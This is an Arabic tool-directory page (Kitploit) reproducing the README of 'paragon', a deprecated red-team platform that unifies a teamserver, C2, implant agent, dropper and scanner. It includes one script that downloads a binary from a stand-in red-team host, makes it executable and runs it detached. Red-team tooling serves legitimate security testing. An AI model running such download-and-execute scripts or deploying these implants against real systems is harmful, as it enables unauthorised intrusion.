Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
paragon — منصة مشاركة الفريق الأحمر تهدف إلى توحيد الأدوات الهجومية خلف واجهة مستخدم بسيطة. | Kitploit
أدوات/GitHubGitHub/kcarretto/paragon
أطر اختبار الاختراقأطر الاستغلالالبرمجة النصية والأتمتةما بعد الاستغلالالقيادة والسيطرةالفريق الأحمرتطوير الحمولات
GitHubkcarretto/paragon

paragon

منصة مشاركة الفريق الأحمر تهدف إلى توحيد الأدوات الهجومية خلف واجهة مستخدم بسيطة.

عرض المستودع
30442منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

إشعار إيقاف التطوير

تم إيقاف هذا المشروع، يُرجى الرجوع إلى مشروعنا الجديد Realm project، الذي يبني على العديد من الأفكار التي كانت لدينا عند بناء هذا المستودع.

CI Build Status Go Report Card Coverage Status GitHub release GoDoc

باراغون

Demo

باراغون هي منصة للمشاركة في فريق الاختراق (Red Team). تهدف إلى توحيد الأدوات الهجومية خلف واجهة مستخدم بسيطة، وتجريد الكثير من العمل الخلفي لتمكين المشغلين من التركيز على كتابة البذور (implants) وقضاء وقت أقل في القلق بشأن قواعد البيانات و CSS. كما يوفر المستودع بعض الأدوات الهجومية المدمجة بالفعل مع باراغون ويمكن استخدامها أثناء المشاركات.

هذا المستودع لا يزال قيد التطوير المكثف وليس جاهزًا للاستخدام الإنتاجي. عندما يعتبر مستقرًا، سيتم إصدار علامة V1.0.0. حتى ذلك الحين، قد تواجه واجهة البرمجة تغييرات مكسرة مع قيامنا بتبسيط تصميمنا باستمرار. يُرجى قراءة وثائق المطور أدناه إذا كنت ترغب في مساعدتنا في الوصول إلى هذا الإنجاز بشكل أسرع.

جدول المحتويات

  • أبرز الميزات
  • بدء الاستخدام
  • نظرة عامة على المكونات
  • الأسئلة الشائعة
  • المصطلحات
  • دليل المطور

أبرز الميزات

  • دمج الأدوات المخصصة بسهولة لتوحيد العمليات خلف واجهة واحدة
  • الاستعلام عن رسم المعرفة (knowledge graph) لفريق الاختراق باستخدام واجهة GraphQL API المقدمة
  • إصدار الأحداث (Event emission) للأتمتة منخفضة الكمون والمعالجة في الوقت الفعلي
  • لغة برمجة شبيهة بـ Python للنشر والاستغلال اللاحق (post-exploitation) والمزيد
  • بذور (implants) ونشر عبر المنصات (cross-platform) مضمنة
  • تسجيل نشاط المشغل لتجميعه بسهولة في تقرير بعد المشاركة للمراجعة

بدء الاستخدام

يمكن إعداد نموذج توضيحي سريع عن طريق استنساخ المستودع وتشغيل docker-compose up. افتح 127.0.0.1:80 في متصفحك للبدء!

الصور المستخدمة متاحة على docker-hub ويمكن تكوينها من ملف docker-compose للنشر الإنتاجي.

نظرة عامة على المكونات

لغة البرمجة النصية

تعتمد معظم المكونات في هذا المستودع على لغة برمجة نصية شبيهة بـ Python تتيح تحكمًا قويًا وتخصيصًا لسلوكها. اللغة هي نسخة معدلة من Google's starlark، مع إضافة وظائف عبر المنصات للمشغلين. يتيح هذا أيضًا لأدوات مثل الوكيل (agent) والمُسقط (dropper) (الموضحان أدناه) تنفيذ المهام دون الاعتماد على البرامج النظامية الثنائية (curl, bash, إلخ). يتم تنفيذ جميع العمليات ككود في Go، لذا من البديهي إضافة وظائف إضافية إلى بيئة البرمجة النصية. إليك مثال على سكريبت:

root@kitploit:~
# تنزيل ملف عبر https، تنفيذه، وعدم الإبقاء عليه كعملية تابعة.
load("sys", "request")

new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)

# تعيين صلاحيات new_bin إلى 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)

مرجع

خادم الفريق (Teamserver)

يوفر تطبيق ويب بسيط وواجهة GraphQL API للتفاعل مع رسم المعرفة (knowledge graph) لفريق الاختراق، مما يوحد الأدوات خلف مصدر حقيقة مركزي ويجرد العديد من الاهتمامات الخلفية المملة من المشغلين. قم بدمج أدواتك المخصصة مع خادم الفريق (باستخدام GraphQL API أو اشتراكات الأحداث) لتوفير الوقت في العمل الخلفي. يسجل خادم الفريق جميع الأنشطة، لذا مع توحيد جميع أدواتك في مكان واحد، يصبح كتابة تقارير ما بعد المشاركة أسهل بكثير.

الأدوات المضمنة

الأدوات التالية مضمنة أيضًا في المستودع. يمكن توسيعها بسهولة لتناسب العديد من حالات الاستخدام عبر المنصات.

المُسقط (Dropper)

  • متعدد المنصات بالكامل (fully cross-platform)
  • تجميع الأصول (assets) بشكل ثابت (statically compile) في برنامج ثنائي واحد
  • يوفر لغة برمجة نصية شبيهة بـ Python لتكوين النشر المخصص

يوفر باراغون أداة لتجميع الأصول (برامج ثنائية، سكريبتات، إلخ) في برنامج ثنائي واحد عند تنفيذه سيتم تشغيل سكريبت النشر المخصص الذي قد يكتب الأصول إلى نظام الملفات، تشغيل العمليات، تنزيل الملفات، معالجة الأخطاء، والمزيد. إنه متعدد المنصات بالكامل ومجمع بشكل ثابت، مما يوفر نشرًا موثوقًا. إذا كنت ترغب في توسيع وظائفه، يمكنك ببساطة توسيع ملف Go الذي تم إنشاؤه قبل التجميع.

الوكيل (Agent)

  • متعدد المنصات بالكامل
  • يوفر لغة برمجة نصية شبيهة بـ Python للاستغلال اللاحق (post exploitation)
  • آليات اتصال معيارية، قم بتجميع ما تحتاجه فقط
    • استخدم خيارات متعددة لضمان عمليات الاسترجاع (callbacks) الموثوقة
  • تخصيص كيفية تعامل الوكيل مع حالات فشل الاتصال

بذرة (implant) تنفذ المهام وتقدم نتائج التنفيذ. تم تكوينه افتراضيًا لتنفيذ المهام باستخدام لغة البرمجة النصية الشبيهة بـ Python الخاصة بباراغون والتواصل مع C2 عبر http(s). هو مكتوب بلغة Go ويمكن تعديله بسرعة لإضافة طرق نقل جديدة (مثل DNS) وخيارات تنفيذ ومنطق تجاوز الفشل والمزيد.

C2

  • نشر خفيف الوزن
  • أداء عالٍ، قادر على التعامل مع آلاف الوكلاء
    • يعتمد على موارد النظام وعرض النطاق الترددي المتاح
  • خدمة موزعة، استخدم عددًا من C2s حسب رغبتك

يعمل كوسيط بين الوكيل وخادم الفريق. يتعامل مع استرجاعات الوكيل (agent callbacks) لمجموعة متنوعة من آليات الاتصال ويزوده بمهام جديدة من قائمة انتظار خادم الفريق.

المُشغّل (Runner)

  • تنفيذ المهام بكمون منخفض وفي الوقت الفعلي
  • يمكن توسيعه بسهولة لإضافة دعم لآليات اتصال أكثر
  • خدمة موزعة، استخدم عددًا من المشغلين حسب رغبتك

بدلاً من انتظار استرجاع (callback)، قد تتطلب بعض المواقف اتصالًا أماميًا (forward connection) لتنفيذ مهمة بسرعة وعرض مخرجاتها. يحقق المُشغّل ذلك عن طريق الاشتراك في قوائم انتظار المهام وإنشاء اتصال بالجهاز الهدف (على سبيل المثال باستخدام ssh). يتيح هذا عمليات التكامل الشبيهة بالصدفة (shell-like) لاستخدام نفس الواجهة مثل البذور (implants) و C2s. كما يسمح بنشر البذور الأولية من خلال هذه الواجهة.

الماسح الضوئي (Scanner)

  • مراقبة الخدمات المستهدفة القابلة للوصول
  • أتمتة الاستجابات عندما تصبح الخدمات (غير) متاحة
  • توفير معلومات الشبكة لرسم المعرفة (knowledge graph)، والتي قد تستخدمها أدوات أخرى
  • خدمة موزعة، استخدم عددًا من الماسحات حسب رغبتك

مراقبة نشاط الشبكة الهدف والخدمات المرئية. رسم مخطط بياني لشبكة المشاركة، وتشغيل الأتمتة عند تغيرات الحالة (مثل توفر ssh).

الأسئلة الشائعة

ماذا لو أبلغت الأجهزة عن نفس UUID؟

تعيين متغير البيئة PG_KS_MachineUUID killswitch لخادم الفريق سيعطل عمليات البحث التي تستخدم UUIDs للأجهزة.

المصطلحات

لضمان التواصل الواضح حول هذه الأنظمة المعقدة، قمنا بتوضيح بعض المصطلحات الخاصة بالمشروع أدناه والتي سيتم استخدامها في جميع أنحاء وثائق المشروع.

البذرة (Implant)

أي برنامج ضار سيتم تشغيله على الأنظمة المخترقة أثناء المشاركة.

المهمة (Task)

العمليات المطلوب تنفيذها على نظام مخترق معين. توفر المهام تعليمات التنفيذ للبذور (implants)، ومع ذلك يمكن أن يكون بناء الجملة / الهيكل محددًا تمامًا لأداة معينة.

الوكيل (Agent)

بذرة (Implant) تتلقى المهام من خادم الفريق، وتنفذها، وتقدم نتائجها. يتم تضمين تطبيق افتراضي قابل للتوسيع مع هذا المستودع، والذي يتطلب تقديم المهام كسكريبتات مكتوبة باستخدام لغة DSL الشبيهة بـ Python الخاصة بالمشروع.

الوظيفة (Job)

طلبات من خادم الفريق لتنفيذ مجموعة من العمليات المحددة. عند إنشاء وظيفة، سيتم حفظ التعليمات ولكن لن يتم تنفيذها. يمكن للمستخدم طلب من خادم الفريق تنفيذ وظيفة صفر أو أكثر من المرات عن طريق وضع الوظيفة في قائمة الانتظار وتوفير المعلمات المطلوبة لها. لا يمكن أبدًا تحديث الوظائف، ولكن يمكن إنشاء إصدارات جديدة من الوظائف لتجنب النسخ واللصق المفرط.

حالة استخدام شائعة للوظيفة هي عندما يرغب المستخدم في تنفيذ سكريبت على عدد قليل من الأهداف. يقوم المستخدم بإنشاء وظيفة، والتي توجه خادم الفريق لإنشاء مهام بالمحتوى المقدم، ولكنها تترك الأجهزة المستهدفة كمعلمة. عندما توضع الوظيفة في قائمة الانتظار، يوفر المستخدم قائمة بالأجهزة المستهدفة كمعلمة، وسيقوم خادم الفريق بإنشاء مهمة لكل جهاز.

دليل المطور

يخدم ما يلي كمرجع أولي ومختصر لتطوير باراغون. يمكن العثور على المزيد من الوثائق في godocs للحزمة أو من خلال قراءة بعض الكود :) بعد الانتهاء من بعض قرارات التصميم (قبل الوصول إلى v1 بوقت طويل)، سيدخل تجميد الكود حيز التنفيذ حتى يتم تحديث جميع الوثائق وتنظيمها بشكل مناسب.

المتطلبات الأساسية

  • Git
  • Docker
  • VSCode
    • بينما يمكنك استخدام محررين آخرين، ستفقد التخصيص الذي يسرع التطوير لـ VSCode
    • امتداد Remote - Containers المقدم من Microsoft مطلوب للبدء.

إعداد البيئة

بعد تثبيت المتطلبات الأساسية المذكورة أعلاه، ستكون قادرًا على البدء في وقت قصير. ببساطة استنسخ المستودع وافتحه في VSCode. سيُطلب منك فتح قاعدة الكود في حاوية تطوير (development container) تم تكوينها بجميع تبعيات المشروع وأدوات المطور التي ستحتاجها. إذا لم يظهر لك هذا الخيار، افتح لوحة الأوامر وقم بتشغيل > Remote-Containers: Open Folder In Container والذي سيبدأ الحاوية لك. إذا كانت هذه هي المرة الأولى التي تقوم فيها بتشغيل الحاوية، فقد يستغرق التنزيل بعض الوقت... لذا احصل على بعض القهوة ^_^

هيكل المشروع

فيما يلي نظرة عامة على هيكل المشروع ومكان وجود كل مكون. إذا أصبح هذا قديمًا، فلا تتردد في تقديم مشكلة للإبلاغ عن ذلك أو يفضل PR لإصلاحه. قاعدة الكود منظمة كمستودع أحادي (monorepository)، مما يتيح لنا الاستفادة من أدوات التطوير المشتركة والتوحيد القياسي، إلخ مع تجنب تعارضات الإصدارات المعقدة.

مرجع خادم الفريق

رسم المعرفة (Knowledge Graph)

فيما يلي نظرة عامة على العلاقة بين العقد في رسم المعرفة لفريق الاختراق المُدار بواسطة خادم الفريق.

Graph

مرجع الوكيل

أولوية النقل. لاستخدام النقل الخاص بك، ببساطة قم بتطبيق واجهة agent.Sender وسجل النقل الخاص بك أثناء التهيئة. يمكن العثور على أمثلة على وسائل النقل الحالية في الدلائل الفرعية لحزمة agent.

تنفيذ المهمة

يتم تحديد أولوية النقل بناءً على التطبيق. يتم تجميع وسائل النقل عند التهيئة، ثم يتم فرزها حسب الأولوية (الأعلى أولاً) قبل بدء التنفيذ. بشكل افتراضي، يتم استخدام HTTP (TLS) ونقل ملف (File transport) كأمثلة على وسائل النقل.

افتراضيًا، يتوقع الوكيل أن تتبع المهام بناء جملة starlark، ويعرض مكتبة قياسية للاستفادة منها السكريبتات. لتغيير سلوك تنفيذ المهام (على سبيل المثال أوامر bash فقط)، يمكنك تطبيق واجهة agent.Receiver لتنفيذ المهام كما تريد.

بيئة البرمجة النصية

يمكن تخصيص بيئة البرمجة النصية لوكيلك، مما يتيح لك تعبئة وظائف جديدة بسهولة لاستفادة السكريبتات منها. راجع خيارات السكريبت لتعلم كيفية توسيع محرك السكريبت الخاص بالوكيل.

تدفق التنفيذ

فيما يلي مخطط تدفق للتنفيذ العام للبذرة (implant) الخاصة بالوكيل.

إضافة وسيلة نقل

تم تصميم الوكيل ليكون قابلاً للتخصيص بسهولة بآليات نقل جديدة، وتعدد الإرسال (multiplexing) للاتصالات بناءً على

AgentExec

تنزيل الأداة
المجلدحالة الاستخدام
.devcontainerتكوين بيئة تطوير حاوية VSCode.
.githubتكوين Github.
.statsدليل يتم تجاهله بواسطة git (قد يكون لديك أو لا) لتخزين مخرجات تحليل الأداء.
entتعريفات واجهة برمجة التطبيقات المتعلقة بالرسم البياني (graph) المستخدمة بواسطة خادم الفريق.
graphqlمخطط GraphQL والكود ذو الصلة المولد من ent.
cmdأدوات وخدمات سطر الأوامر القابلة للتنفيذ.
distدليل يتم تجاهله بواسطة git لتخزين نتائج البناء.
dockerملفات Docker المستخدمة للنشر النموذجي.
entنماذج الرسوم البيانية والمخططات المستخدمة بواسطة خادم الفريق (انظر أداة Facebook's entgo لمزيد من المعلومات).
pkgمكتبات عامة تستخدمها أدوات المستودع ولكنها معروضة أيضًا للعالم.
pkg/agentتجريد لإنشاء بذرة (implant) أو وسيلة نقل اتصال بسهولة.
pkg/c2مساعدات متعلقة بخدمة C2 وتعريفات الرسائل المعيارية.
pkg/c2/protoمواصفات Protobuf لتعريف تنسيق تسلسل معياري لاتصال الوكيل <-> C2.
pkg/dropيوفر طريقة بسيطة تستخدمها حمولات المُسقط (dropper) المترجمة.
pkg/middlewareوسيط (middleware) شائع لخدمات HTTP.
pkg/scriptلغة برمجة نصية شبيهة بـ Python للتكوين الديناميكي والأتمتة والاستغلال عبر المنصات.
pkg/script/stdlibالمكتبات القياسية التي تعرض وظائف لبيئات تنفيذ البرمجة النصية.
pkg/teamserverمساعدات متعلقة بخدمة خادم الفريق.
wwwيحتوي على تطبيق الويب الأساسي المستضاف بواسطة خادم الفريق. تم إنشاؤه بواسطة تطبيق Facebook's create-react-app.
www/src/componentsمكونات React قابلة لإعادة الاستخدام.
www/src/configتكوين تطبيق الويب والتوجيه.
www/src/viewsحاويات تستعلم البيانات من خادم الفريق وتؤلف المكونات للعرض.